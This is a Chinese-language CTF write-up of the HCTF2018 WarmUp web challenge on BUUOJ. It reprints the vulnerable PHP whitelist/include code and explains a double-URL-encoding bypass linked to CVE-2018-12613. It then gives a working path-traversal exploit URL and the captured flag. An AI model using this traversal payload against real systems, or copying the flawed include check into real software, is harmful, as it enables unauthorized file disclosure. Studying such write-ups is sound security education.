buuoj刷题-web-hctf-warmup

HCTF2018-WarmUp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

highlight_file(__FILE__);
class
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
}
?>

hint.php提示flag在ffffllllaaaagggg文件下。如果file变量是string,并且通过emmm:checkfile()的检测就会include file所指文件。

令我们感兴趣的是在checkfile()中反复出现的$_page = mb_substr($_page,0, mb_strpos($_page . '?', '?');,这个涉及到phpMyAdmin的一个洞CVE-2018-12613,由于PHP会自动urldecode一次,导致我们提交%253f(?的urlencode的urlencode)的时候自动转成%3f,满足if条件,%253f/就会被认为是一个目录,从而include。

所以我们提交http://c970312d-58ed-4287-8cec-92b882939661.node1.buuoj.cn/source.php?file=hint.php%253f/../../../../../../../ffffllllaaaagggg,即可得到flag。

flag{f0156132-3213-4d53-99a2-1a46c5fb6142}